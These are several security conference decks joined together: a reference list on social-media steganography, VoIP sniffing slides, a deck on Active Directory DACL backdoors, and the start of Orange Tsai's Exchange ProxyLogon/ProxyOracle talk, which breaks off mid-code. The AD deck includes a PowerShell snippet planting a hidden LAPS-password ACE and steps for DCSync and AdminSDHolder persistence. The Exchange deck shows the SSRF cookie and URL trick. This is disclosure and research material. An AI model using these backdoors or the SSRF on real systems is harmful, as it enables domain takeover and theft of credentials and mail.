C&C infrastructures [3-6]. This work has implications for insider threats, terrorism, copyright infringement, and corporate or nation state espionage. Finally, it underscores the problem of social media data loss prevention. We share this automated steganography enabling tool in order to raise awareness about cloaked data within public information streams, and more generally to raise awareness about security risks associated with social networks. References [1] “Data Hiding: Exposing Concealed Data in Multimedia, Operating Systems, Mobile Devices and Network Protocols”, Mike Raggo and Chet Hosmer, 2012. [2] ​“ImageTragick”​, @stewie and Nikolay Ermishkin, May, 2016. [3] ​“A Closer Look at MiniDuke”​, Marius Tivadar, Bíró Bal​á​zs and Cristian Istrate, BitDefender, February, 2013. [4] ​“HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group”​, FireEye, July 2015. [5] ​“BE2 extraordinary plugins, Siemens targeting, dev fails”​, Kurt Baumgartner and Maria Garnaeva, Kaspersky Lab, February, 2015. [6] ​“CryLocker”​, Malware Hunter Team, September, 2016. [7] ​"Getting the data out using social media"​, Dakota Nelson, Gabriel Butterick, Byron Wasti and Bonnie Ishiguro, ​BSides Las Vegas,​ 2015. [8] ​“Instegogram: Exploiting Instagram for C2 via Image Steganography”​, Amanda Rousseau, Hyrum Anderson and Daniel Grant, ​DEF CON 24 Village Talks​, August, 2016. [9] ​“What’s lurking in MP3s that can hurt you?”​, Chet Hosmer and Mike Raggo, ​DEF CON 24 Skytalks​, August, 2016. [10] ​“Secretbook”​, Owen-Campbell Moore. [11] ​“Weaponizing Data Science for Social Engineering: Automated E2E Spear Phishing on Twitter”​, John Seymour and Philip Tully, ​Black Hat USA​ 2016. [12] "Fast, Lean and Accurate: Modeling Password Guessability Using Neural Networks," William Melicher, Blase Ur, Sean M. Segreti, Saranga Komanduri, Lujo Bauer, Nicolas Christin and Lorrie Faith Cranor, ​Proceedings of USENIX Security​, 2016. [13] "I am robot:(deep) learning to break semantic image captchas, " Suphannee Sivakorn, Iasonas Polakis and Angelos D. Keromytis. ​2016 IEEE European Symposium on Security and Privacy​.
pdf
VDLDS  –  ALL  YOUR  VOICE  ARE BELONG  TO  US Ganesh  Devarajan  &  Don  LeBert Agenda   Introduction   Problem   Background   Scenarios   Architecture   Server  Model   Distributed  Client  server  model   Demo   Future  Work Introduction   Ganesh  Devarajan   Don  LeBert Problem   People  give  out  a  lot  of  information  on  the phone  calls   PII  Data   Account  information   Insider  information Background   Government  has  the  ability  to  tap  Phone conversations  and  look  for  key  words   Jihad,  terrorist,  etc.   This  is  done  at  the  provider  level  or  with  an expensive  bug Background   What  is  DLP?   Why  is  it  important? Background  –  In  the  News   Sony  PS3  Hack   RSA   Citi  Bank  Hack   ADP Background   What  is  VoIP?   How  does  a  VoIP  phone  call  work?   SIP,  RTP Scenarios   Social  Engineering   Insider  Trading/Leaks   Calls  to  bookies/Brokers   Call  centers   Vendor  Account  information   Spy  on  People?   PII  Data   Credit  Cards Architecture Architecture Architecture   VoIP  data  to  Audio  file   WireShark   VoIPong   VOMIT   Oreka   RTPBreak   RTPscan,  RTPdump,  RTPplay   Cain  &  Abel Architecture Architecture   Audio  to  Text  Converter   Microsoft  Speech  (Now  called  “Tellme”)   Sphinx  (3/4)   OSX  (use  NSSpeechRecognizer  Class)   Other  Commercial Architecture   Sphinx  4  Architecture   Speech  recognition  system  written  in  java   Portable  (mobile,  osx,  linux,  windows…)   Interaction  with  engine  via  scripting  languages   Easy  to  hide  ;) Architecture   Keyword  Detection  Engine   Script  based   Completely  custom  in  what  you  are  trying  to  pull  out   Takes  some  skill   Rule  based   Easy  for  Joe  sixpack   Low  customization Deployment  Architecture Deployment  Architecture Deployment  Architecture Demo Future  Work   Extension  for  Mobile  devices   Disguised  App   Conversation  sniffer   Real  time  Voice  Obfuscator   Interact  with  conversation   Filter   Inject References   http://cmusphinx.sourceforge.net/wiki/ tutorialconcepts   http://cmusphinx.sourceforge.net/sphinx4/ Questions?   Ganesh  Devarajan   [email protected]   Don  LeBert   [email protected]
pdf
An ACE Up the Sleeve Designing Active Directory DACL Backdoors Andy Robbins and Will Schroeder SpecterOps @_wald0 ▪ ... ▪ Job: Adversary Resilience Lead at SpecterOps ▪ Co-founder/developer: BloodHound ▪ Trainer: BlackHat 2016 ▪ Presenter: DEF CON, DerbyCon, ekoparty, Paranoia, ISSA Intl, ISC2 World Congress, various Security BSides ▪ Other: ask me about ACH @harmj0y ▪ Job: Offensive Engineer at SpecterOps ▪ Co-founder/developer: Veil-Framework, Empire/EmPyre, PowerView/PowerUp, BloodHound, KeeThief ▪ Trainer: BlackHat 2014-2016 ▪ Presenter: DEF CON, DerbyCon, ShmooCon, Troopers, BlueHat Israel, various BSides ▪ Other: PowerSploit developer and Microsoft PowerShell MVP tl;dr ▪ DACL/ACE Background ▪ Enumeration of AD DACLs ▪ DACL Misconfiguration and Abuse ▪ Analysis with BloodHound ▪ Designing ACL Based Backdoors ▪ Case Studies and Demos ▪ Defenses Disclaimer ▪ There is no exploit/CVE/whatnot here, just ways to purposely implement Active Directory DACL misconfigurations ▪ These backdoors are post-elevation techniques that require some type of elevated access to the objects you’re manipulating Why Care? ▪ It’s often difficult to determine whether a specific AD DACL misconfiguration was set maliciously or configured by accident ▪ These changes also have a minimal forensic footprint and often survive OS and domain functional level upgrades □ This makes them a great chance for subtle, long-term domain persistence! ▪ These may have been in your environment for YEARS! “As an offensive researcher, if you can dream it, someone has likely already done it...and that someone isn’t the kind of person who speaks at security cons” Matt Graeber “Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asynchronous, and Fileless Backdoor” - BlackHat 2015 Background From ACLs to ACEs 1. https://www.sstic.org/2014/presentation/chemins_de_controle_active_directory/ Previous Work Previous Work https://www.sstic.org/2014/presentation/chemins_de_controle_active_directory/ Previous Work https://blogs.technet.microsoft.com/pfesweplat/2017/01/28/forensics-active-directory-ac l-investigation/ Previous (Offensive) Work? https://habrahabr.ru/post/90990/ Securable Objects ▪ Any securable object in a Windows environment contains a SECURITY_DESCRIPTOR structure that contains: □ A set of control/inheritance bits in the header □ The security identifier (SID) of the object’s owner □ The SID of the object’s primary group (not used) □ A discretionary access control list (DACL) □ A system access control list (SACL) ▪ This is a binary structure, but can be described with a Security Descriptor Definition Language (SDDL) string SECURITY_DESCRIPTOR https://msdn.microsoft.com/en-us/library/windows/hardware/ff556610(v=vs.85).aspx ACLs, DACLs, and SACLs ▪ Access Control List (ACL) is basically shorthand for the DACL/SACL superset ▪ An object’s Discretionary Access Control List (DACL) and Security Access Control List (SACL) are ordered collections of Access Control Entries (ACEs) □ The DACL specifies what principals/trustees have what rights over the object □ The SACL allows for auditing of access attempts to the object ▪ All ACEs include: □ A 32-bit set of flags that control auditing □ A 32-bit access mask that specifies access rights allowed □ A security identifier (SID) that identifies the principal/trustee that has the given rights ACEs https://msdn.microsoft.com/en-us/library/windows /desktop/aa374896(v=vs.85).aspx DS_CONTROL_ACCESS ▪ AD access mask bit that grant privileges that aren’t easily expressed in the access mask ▪ Interpreted a few different ways ▪ If the ObjectAceType of an ACE with CONTROL_ACCES set is the GUID of a confidential property or property set, this bit controls read access to that property □ E.g. in the case of the Local Administrator Password Soltution (LAPS) DS_CONTROL_ACCESS and Extended Rights ▪ If the ObjectAceType GUID matches a registered extended-right GUID in the schema, then control_access grants that particular “control access right” ▪ Examples: □ User-Force-Change-Password on user objects □ DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on the domain object itself ▪ In Windows and AD, the Kernel-Mode Security Reference Monitor (SRM) is in charge of deciding the outcome of access requests, based on the canonical order of ACEs on the target object, and the access being requested. ▪ By understanding the order of evaluation the SRM uses for these access decisions, an attacker may more effectively hide malicious ACEs, or even entire security principals from defenders. SRM and Canonical ACE Order ▪ The “canonical” order of ACE evaluation: □ Explicit DENY □ Explicit ALLOW □ Inherited DENY □ Inherited ALLOW ▪ Inherited privileges are further complicated by generational distance from which the object inherits that ACE: generationally closer inherited ACEs are given priority SRM and Canonical ACE Order DACL Enumeration You Don’t Know What You Can’t Find 2. .NET/LDAP ▪ The SecurityMasks property of a .NET DirectorySearcher object can be set to retrieve the DACL, SACL, and/or Owner information for an object through LDAP https://msdn.microsoft.com/en-us/library/system.directoryservices.securitymasks(v=vs.110).aspx PowerView ▪ PowerView’s Get-DomainObjectACL function wraps the .NET/LDAP method to enumerate the DACLs for any given domain object □ The security descriptor is parsed and individual ACEs are output on the pipeline □ The -ResolveGUIDs flag will build an environment-specific mapping of right GUIDS to display names ▪ By default, any domain authenticated user can enumerate DACLs for most objects in the domain! PowerView DACL (Mis)configurations And Abuse! 3. Elevation vs. Persistence ▪ Our work in this area was first motivated by a desire to find AD misconfigurations for the purposes of domain privilege escalation □ I.e. searching for specific ACE relationships that result in a lesser-privileged object modifying a higher-privileged one ▪ This presentation is about modifying/adding ACEs (or chains of ACEs) in order to provide persistence in a domain environment AD Generic Rights ▪ GenericAll □ Allows ALL generic rights to the specified object □ Also grants “control rights” (see next slide) ▪ GenericWrite □ Allows for the modification of (almost) all properties on a specified object ▪ Both are abusable with PowerView’s Set-DomainObject, and these two rights generally apply to most objects for takeover AD Control Rights ▪ There are a few rights that allow a trustee/principal to gain control of the object in some way ▪ WriteDacl grants the ability to modify the DACL in the object security descriptor □ Abusable with PowerView: Add-DomainObjectAcl ▪ WriteOwner grants the ability to take ownership of the object □ Object owners implicitly have full rights! □ Abusable with PowerView: Set-DomainObjectOwner Target: User Objects ▪ The two takeover primitives are forcing a password reset, and targeted Kerberoasting through SPN modification (to recover creds) ▪ So the additional rights we care about are: □ WriteProperty to all properties □ WriteProperty to servicePrincipalName □ All extended rights □ User-Force-Change-Password (extended) ▪ Abusable through Set-DomainObjectOwner and Set-DomainUserPassword Target: Group Objects ▪ The main takeover primitive involves adding a user to the target group ▪ So the additional rights we care about are: □ WriteProperty to all properties □ WriteProperty to the member property ▪ Abusable through Add-DomainGroupMember Target: Computer Objects ▪ If LAPS is enabled: □ We care about DS_CONTROL_ACCESS or GenericAll to the ms-MCS-AdmPwd (plaintext password) property ▪ Otherwise, we don’t know of a practical way to abuse a control relationship to computer objects :( □ If you have any ideas, please let us know! Target: Domain Objects ▪ The main takeover primitive involves granting a user domain replications rights (for DCSync) ▪ So the main effective right we care about is WriteDacl, so we can grant a principal DCSync rights with Add-DomainObjectAcl Target: Group Policy Objects ▪ The main takeover primitive involves the right to edit the group policy (that’s then linked to an OU/site/domain) □ This gives the ability to compromise users/computers in these containers ▪ So the additional rights we care about are: □ WriteProperty to all properties □ WriteProperty to GPC-File-Sys-Path ▪ GPOs can be edited on SYSVOL BloodHound Analysis Arroooooooooo 4. BloodHound Analysis ▪ BloodHound enables simple, graphical analysis of control relationships in AD ▪ Defenders can use this for least privilege enforcement, identifying misconfigured ACLs, and detecting non-stealthy ACL-enabled backdoors ▪ Attackers can use this to identify ACL-enabled escalation paths, select targets for highly stealthy backdoors, and understand privilege relationships in the target domain BloodHound Analysis ● Left: Principals with direct control over the “Domain Admins” group ● Several Exchange security groups have “GenericAll” rights over the “Domain Admins” group BloodHound Analysis BloodHound Analysis Designing Active Directory DACL Backdoors Primitives for Pwnage 5. Objective ▪ We want to implement an Active Directory DACL-based backdoor that: □ Facilitates the regaining of elevated control in the AD environment □ Blends in with normal ACL configurations (“hiding in plain sight”), or is otherwise hidden from easy enumeration by defenders ▪ Let’s see what we can come up with! Stealth Primitive: Hiding the DACL ▪ Effectively hiding DACLs from defenders requires two steps ▪ Change the object owner from “Domain Admins” to another principal you control. ▪ Add a new explicit ACE, denying the “Everyone” principal the “Read Permissions” privilege. Stealth Primitive: Hiding the DACL ▪ Hiding a principal from defenders requires three steps: a. Change the principal owner to itself, or another controlled principal. b. Grant explicit control of the principal to either itself, or another controlled principal. c. On the OU containing your hidden principal, deny the “List Contents” privilege to “Everyone” Stealth Primitive: Hiding the Principal Stealth Primitive: Hiding the Principal Primitives: Summary ▪ We know which ACEs result in object takeover ▪ We can control who can enumerate the DACL ▪ We can hide principals/trustees that are present in a specific ACE Backdoor Case Studies “If you can dream it…” 6. A Hidden DCSync Backdoor ▪ Backdoor: □ Add DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on the domain object itself where the principal is a user/computer account the attacker controls □ The user/computer doesn’t have to be in any special groups or have any other special privileges! ▪ Execution: □ DCSync whoever you want! Exploitation AdminSDHolder ▪ Backdoor: □ Attacker grants themselves the User-Force-Change-Password right on CN=AdminSDHolder,CN=System □ Every 60 minutes, this permission is cloned to every sensitive/protected AD object through SDProp □ Attacker “hides” their account using methods described ▪ Execution: □ Attacker force resets the password for any adminCount=1 account Exploitation LAPS ▪ Microsoft’s “Local Administrator Password Solution” ▪ Randomizes the a machine’s local admin password every 30 days. Password stored in the confidential ms-Mcs-AdmPwd attribute on computer objects https://technet.microsoft.com/en-us/mt227395.aspx Who can read AdmPwd? ▪ DS_CONTROL_ACCESSS where the ACE □ applies to AdmPwd and all descendant computers □ applies to AdmPwd and all descendant objects □ applies to any object and all descendant objects □ applies to any object and all descendant computers ▪ Above checks are necessary for GENERIC_ALL ▪ Object control == Ability to grant the above rights □ You are the owner □ You can become the owner: □ WriteDACL, WriteOwner □ DS-Set-Owner Extended Right Shortcomings of Find-AdmPwdExtendedRights ▪ DS_CONTROL_ACCESSS where the ACE □ applies to AdmPwd and all descendant computers □ applies to AdmPwd and all descendant objects* □ applies to any object and all descendant objects □ applies to any object and all descendant computers ▪ Above checks are necessary for GENERIC_ALL ▪ Object control == Ability to grant the above rights □ You are the owner □ You can become the owner □ WriteDACL, WriteOwner □ DS-Set-Owner Extended Right Exploitation ▪ Backdoor: □ Add an ACE to OU or Computer that applies to the AdmPwd property and any descendant object $RawObject = Get-DomainOU -Raw Servers $TargetObject = $RawObject.GetDirectoryEntry() $AdmPwdGuid = (Get-DomainGUIDMap).GetEnumerator() | ` ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name $ACE = New-ADObjectAccessControlEntry -InheritanceType Descendents ` -AccessControlType Allow -PrincipalIdentity "Domain Users" ` -Right ExtendedRight -ObjectType $AdmPwdGuid $TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE) $TargetObject.PsBase.CommitChanges() Normal user can’t access ms-mcs-AdmPwd Privileged attacker adds backdoor to Servers OU Domain user can access AdmPwd! LAPS cmdlet doesn’t detect it! Exchange Strikes Back ▪ Exchange Server introduces several schema changes, new nested security groups, and MANY control relationships to Active Directory, making it a perfect spot to blend in amongst the noise. ▪ Pre Exchange Server 2007 SP1, this included the “WriteDACL” privilege against the domain object itself, which was distributed down to ALL securable objects! Exchange Strikes Back ▪ Backdoor: □ Identify a non-protected security group with local admin rights on one or more Exchange servers □ Grant “Authenticated Users” full control over this security group □ Change the owner of the group to an Exchange server □ Deny “Read Permissions” on this group to the “Everyone” principal ▪ Execution: □ Regain access to the Active Directory domain as any user □ Add your current user to the back-doored security group □ Use your new local admin rights on an Exchange server to execute commands as the SYSTEM user on that computer. □ Exchange Trusted Subsystem often has full control of the domain, so this may include DCSync! Exchange Strikes Back Exploitation Abusing GPOs ▪ Backdoor: □ Attacker grants herself GenericAll to any user object with the attacker as the trustee □ Grant that “patsy” user WriteDacl to the default domain controllers GPO ▪ Execution: □ Force resets the “patsy” account password □ Adds a DACL to the GPO that allows write access for the patsy to GPC-File-Sys-Path of the GPO □ Grants the patsy user SeEnableDelegationPrivilege rights in GptTmpl.inf □ Executes a constrained delegation attack using the patsy account’s credentials Exploitation Defenses All is (Probably) Not Lost ;) 6. Event Logs ▪ Proper event log tuning and monitoring is pretty much your only hope for performing real “forensics” on these actions □ But if you weren’t collecting event logs when the backdoor was implemented, you might not ever know who the perpetrator was :( ▪ For example: □ Event log 4738 (“A user account was changed”), filtered by the property modified Replication Metadata ▪ Metadata remnants from domain controller replication can grant a few clues □ Specifically, when a given attribute was modified, and from what domain controller the modification event occurred on ▪ This points you in the right direction, but needs to be used with event logs to get the full picture □ More information in a post soon on http://blog.harmj0y.net SACLs ▪ SACLs contain ACEs that, “specify the types of access attempts that generate audit records in the security event log of a domain controller” ▪ You don’t have to SACL every success/failure action on every object type and property: □ A great start- build SACLs for all of the attack primitives we’ve talked about on the specific target objects we’ve outlined □ More information: http://bit.ly/2tOAGn7 Sidenote: Future Work ▪ We were not able to utilize NULL DACLs or otherwise manipulate the header control bits (i.e. SE_DACL_PRESENT) □ Any attempts to set ntSecurityDescriptor on an object remotely ignores any header bits, however this warrants another look ▪ Research additional control relationships □ Particularly any relationship that allows for computer object takeover Credits Special thanks to all the people who helped us with this research and slide deck: ▪ Lee Christensen (@tifkin_) ▪ And everyone else at SpecterOps! Questions? Contact us at: ▪ @_wald0 (robbins.andy [at] gmail.com) ▪ @harmj0y (will [at] harmj0y.net)
pdf
The Proxy Era of Microsoft Exchange Server Orange Tsai Orange Tsai • Orange Tsai, focusing on Web and Application 0-day research • Principal Security Researcher of DEVCORE • Captain of HITCON CTF Team • Speaker of Security Conferences • Black Hat USA & ASIA / DEFCON / HITB / HITCON … • Selected Awards and Honors: • 2017 - 1st place of Top 10 Web Hacking Techniques • 2018 - 1st place of Top 10 Web Hacking Techniques • 2019 - Winner of Pwnie Awards "Best Server-Side Bug" • 2021 - Champion and "Master of Pwn" of Pwn2Own • 2021 - Winner of Pwnie Awards "Best Server-Side Bug" Why Target Exchange Server? 1. Mail servers always keep confidential secrets and Exchange Server is the most well-known mail solution for enterprises and governments worldwide 2. Has been the target for Nation-sponsored hackers for a long time (Equation Group😉) 3. More than 400,000 Exchange servers exposed on the Internet according to our survey Our Works • We focus on the Exchange architecture and discover a new attack surface that no one proposed before. That's why we can pop 0days easily! • We discovered 9 vulnerabilities that covered server-side, client-side, and crypto bugs through this new attack surface, and chained into 4 attacks: 1. ProxyLogon: The most well-known pre-auth RCE chain 2. ProxyOracle: A plaintext-password recovery attacking chain 3. ProxyShell: The pre-auth RCE chain we demonstrated at Pwn2Own 2021 4. ProxyRelay: A pre-auth authentication bypass to read all the victim's mails The Proxy Era of MS Exchange ProxyLogon • CVE-2021-26855 • CVE-2021-27065 ProxyNotFound • CVE-2021-28480 • CVE-2021-28481 ProxyToken • CVE-2021-33766 ProxyOracle • CVE-2021-31195 • CVE-2021-31196 ProxyRelay • CVE-2021-33768 • CVE-2021-TBA ProxyShell • CVE-2021-34473 • CVE-2021-34523 • CVE-2021-31207 Exchange Architecture Backend Server Frontend Server 2000/2003 Mailbox Role Client Access Role Hub Transport Role Unified Messaging Role Edge Transport Role 2007/2010 Mailbox Role Client Access Role Edge Transport Role 2013 Edge Transport Role 2016/2019 Mailbox Role Mailbox Service Client Access Service Where to Focus? • We focus on the Client Access Service (CAS) • CAS is a fundamental protocol handler in Microsoft Exchange Server. The Microsoft official documentation also indicates: "Mailbox servers contain the Client Access Services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services" where we focus on Client Access Service in IIS Two websites? Client Access Service in IIS Exchange Architecture • Applications in Frontend include the ProxyModule • Parse incoming HTTP requests, apply protocol specified settings, and forward to the Backend • Applications in Backend include the BackendRehydrationModule • Receive and populate HTTP requests from the Frontend • Applications synchronizes the internal information between the Frontend and Backend by HTTP headers IIS IIS Remote PowerShell RPC Proxy EWS, OWA ECP, OAB… Mailbox Database FrontEnd Service BackEnd Service HTTP/HTTPS IIS Modules Validation Module Logging Module IIS Modules Filter Module FBA Module Oauth Module … Rehydration Module RoutingUpdate Module RBAC Module HTTP Proxy Module Our Ideas Could we access the Backend intentionally? \ProxyRequestHandler.cs BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse Copy Client Headers 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest HTTP Header Blacklists protected virtual bool ShouldCopyHeaderToServerRequest(string headerName) { return !string.Equals(headerName, "X-CommonAccessToken", OrdinalIgnoreCase) && !string.Equals(headerName, "X-IsFromCafe", OrdinalIgnoreCase) && !string.Equals(headerName, "X-SourceCafeServer", OrdinalIgnoreCase) && !string.Equals(headerName, "msExchProxyUri", OrdinalIgnoreCase) && !string.Equals(headerName, "X-MSExchangeActivityCtx", OrdinalIgnoreCase) && !string.Equals(headerName, "return-client-request-id", OrdinalIgnoreCase) && !string.Equals(headerName, "X-Forwarded-For", OrdinalIgnoreCase) && (!headerName.StartsWith("X-Backend-Diag-", OrdinalIgnoreCase) || this.ClientRequest.GetHttpRequestBase().IsProbeRequest()); } HttpProxy\ProxyRequestHandler.cs Copy Client Cookies 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Add Special Headers 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Clone User Identity if (this.ClientRequest.IsAuthenticated) { CommonAccessToken commonAccessToken = AspNetHelper.FixupCommonAccessToken( this.HttpContext, this.AnchoredRoutingTarget.BackEndServer.Version); if (commonAccessToken != null) { headers["X-CommonAccessToken"] = commonAccessToken.Serialize( new int?(HttpProxySettings.CompressTokenMinimumSize.Value)); } } else if (this.ShouldBackendRequestBeAnonymous()) { headers["X-CommonAccessToken"] = new CommonAccessToken(9).Serialize(); } HttpProxy\ProxyRequestHandler.cs Calculate Backend URL 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Create New HTTP Client 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Attach Authorization Header if (this.ProxyKerberosAuthentication) { // use origin Kerberos Authentication } else if (this.AuthBehavior.AuthState == AuthState.BackEndFullAuth || this. ShouldBackendRequestBeAnonymous() || (HttpProxySettings.TestBackEndSupportEnabled.Value && !string.IsNullOrEmpty(this.ClientRequest.Headers["TestBackEndUrl"]))) { // unauthenticated } else { serverRequest.Headers["Authorization"] = KerberosUtilities.GenerateKerberosAuthHeader( serverRequest.Address.Host, this.TraceContext, ref this.authenticationContext, ref this.kerberosChallenge); } HttpProxy\ProxyRequestHandler.cs 1 Generate Kerberos Ticket 1 internal static string GenerateKerberosAuthHeader(string host, int traceContext, ref AuthenticationContext authenticationContext, ref string kerberosChallenge) { // … authenticationContext = new AuthenticationContext(); authenticationContext.InitializeForOutboundNegotiate(AuthenticationMechanism.Kerberos, "HTTP/" + host, null, null); SecurityStatus securityStatus = authenticationContext.NegotiateSecurityContext(inputBuffer, out bytes); return "Negotiate " + Encoding.ASCII.GetString(bytes); } HttpProxy\KerberosUtilities.cs The Actual Request Sent to Backend Get Backend Response 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Copy Response to Client 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Backend Rehydration Module • IIS has implicitly done the Authentication and set the User.Identity to current HttpContext object private void OnAuthenticateRequest(object source, EventArgs args) { if (httpContext.Request.IsAuthenticated) { this.ProcessRequest(httpContext); } } private void ProcessRequest(HttpContext httpContext) { CommonAccessToken token; if (this.TryGetCommonAccessToken(httpContext, out token)) // … } \BackendRehydrationModule.cs BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest 1 Restore Frontend User Identity 2 3 private bool TryGetCommonAccessToken(HttpContext httpContext, out CommonAccessToken token) { string text = httpContext.Request.Headers["X-CommonAccessToken"]; flag = this.IsTokenSerializationAllowed(httpContext.User.Identity as WindowsIdentity); if (!flag) throw new BackendRehydrationException(…) token = CommonAccessToken.Deserialize(text); httpContext.Items["Item-CommonAccessToken"] = token; Security\Authentication\BackendRehydrationModule.cs 1 Is Token Serialization Allowed? 2 private bool TryGetCommonAccessToken(HttpContext httpContext, out CommonAccessToken token) { string text = httpContext.Request.Headers["X-CommonAccessToken"]; flag = this.IsTokenSerializationAllowed(httpContext.User.Identity as WindowsIdentity); if (!flag) throw new BackendRehydrationException(…) token = CommonAccessToken.Deserialize(text); httpContext.Items["Item-CommonAccessToken"] = token; Security\Authentication\BackendRehydrationModule.cs Check AD Extended Rights private bool IsTokenSerializationAllowed(WindowsIdentity windowsIdentity) { flag2 = LocalServer.AllowsTokenSerializationBy(clientSecurityContext); return flag2; } private static bool AllowsTokenSerializationBy(ClientSecurityContext clientContext) { return LocalServer.HasExtendedRightOnServer(clientContext, WellKnownGuid.TokenSerializationRightGuid); // ms-Exch-EPI-Token-Serialization } Security\Authentication\BackendRehydrationModule.cs Auth-Flow in Summary 1. Frontend IIS authenticates the request (Windows or Basic authentication) and serializes the current Identity to X-CommonAccessToken HTTP header 2. Frontend generates a Kerberos ticket by its HTTP SPN to Authorization HTTP header 3. Frontend proxies the HTTP request to Backend 4. Backend IIS authenticates the request and check the authenticated user has TokenSerialization right 5. Backend rehydrates the user from X-CommonAccessToken HTTP header HTTP/HTTPS CAS Backend Module F Rehydration Module Module D Module E CAS Frontend HttpProxy Module Module A Module B Module C HTTP/HTTPS Let's Start the Hack! ProxyLogon • The most well-known Exchange Server vulnerability in the world😩 • An unauthenticated attacker can execute arbitrary codes on Microsoft Exchange Server through an only exposed 443 port! • ProxyLogon is chained with 2 bugs: • CVE-2021-26855 - Pre-auth SSRF leads to Authentication Bypass • CVE-2021-27065 - Post-auth Arbitrary-File-Write leads to RCE Where ProxyLogon Begin? 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest Arbitrary Backend Assignment 1 2 protected override AnchorMailbox ResolveAnchorMailbox() { HttpCookie httpCookie = base.ClientRequest.Cookies["X-AnonResource-Backend"]; if (httpCookie != null) { this.savedBackendServer = httpCookie.Value; } return new ServerInfoAnchorMailbox( BackEndServer.FromString(this.savedBackendServer), this); } HttpProxy\OwaResourceProxyRequestHandler.cs https://[foo]@example.com:443/path#]:444/owa/auth/x.js Super SSRF • What's the root cause about this arbitrary backend assignment? • The Exchange has to adapt the compatibility between new and old architectures, hence Exchange introduces the cookie • A Super SSRF • Control almost all the HTTP request and get all the response • Attach with a Kerberos Ticket with Exchange$ account privilege automatically • Leverage the backend internal API /ecp/proxylogon.ecp to obtain a valid Control Panel session and a file-write bug to get RCE Demo https://youtu.be/SvjGMo9aMwE ProxyOracle • An interesting Exchange Server exploit with different approach • An unauthenticated attacker can recover the victim's username and password in plaintext format simply by pushing the user open the malicious link • ProxyOracle is chained with 2 bugs: • CVE-2021-31195 - Reflected Cross-Site Scripting • CVE-2021-31196 - Padding Oracle Attack on Exchange Cookies Parsing How Users Log-in OWA/ECP? Form-Based Authentication IIS IIS Remote PowerShell RPC Proxy EWS/OWA ECP/OAB… Mailbox Database HTTP/HTTPS IIS Modules Validation Logging IIS Modules Filter FBA Oauth … Rehydration Routing Update RBAC HTTP Proxy Module How FBA Cookies Looks Like cadataTTL cadataKey cadata cadataIV cadataSig FbaModule Encryption Logic @key = GetServerSSLCert().GetPrivateKey() cadataSig = RSA(@key).Encrypt("Fba Rocks!") cadataIV = RSA(@key).Encrypt(GetRandomBytes(16)) cadataKey = RSA(@key).Encrypt(GetRandomBytes(16)) @timestamp = GetCurrentTimestamp() cadataTTL = AES_CBC(cadataKey, cadataIV).Encrypt(@timestamp) @blob = "Basic " + ToBase64String(UserName + ":" + Password) cadata = AES_CBC(cadataKey, cadataIV).Encrypt(@blob) PSEUDO CODE FbaModule Encryption Logic private void ParseCadataCookies(HttpApplication httpApplication) { using (ICryptoTransform transform = aesCryptoServiceProvider.CreateDecryptor()) { try { byte[] array5 = Convert.FromBase64String(request.Cookies["cadata"].Value); 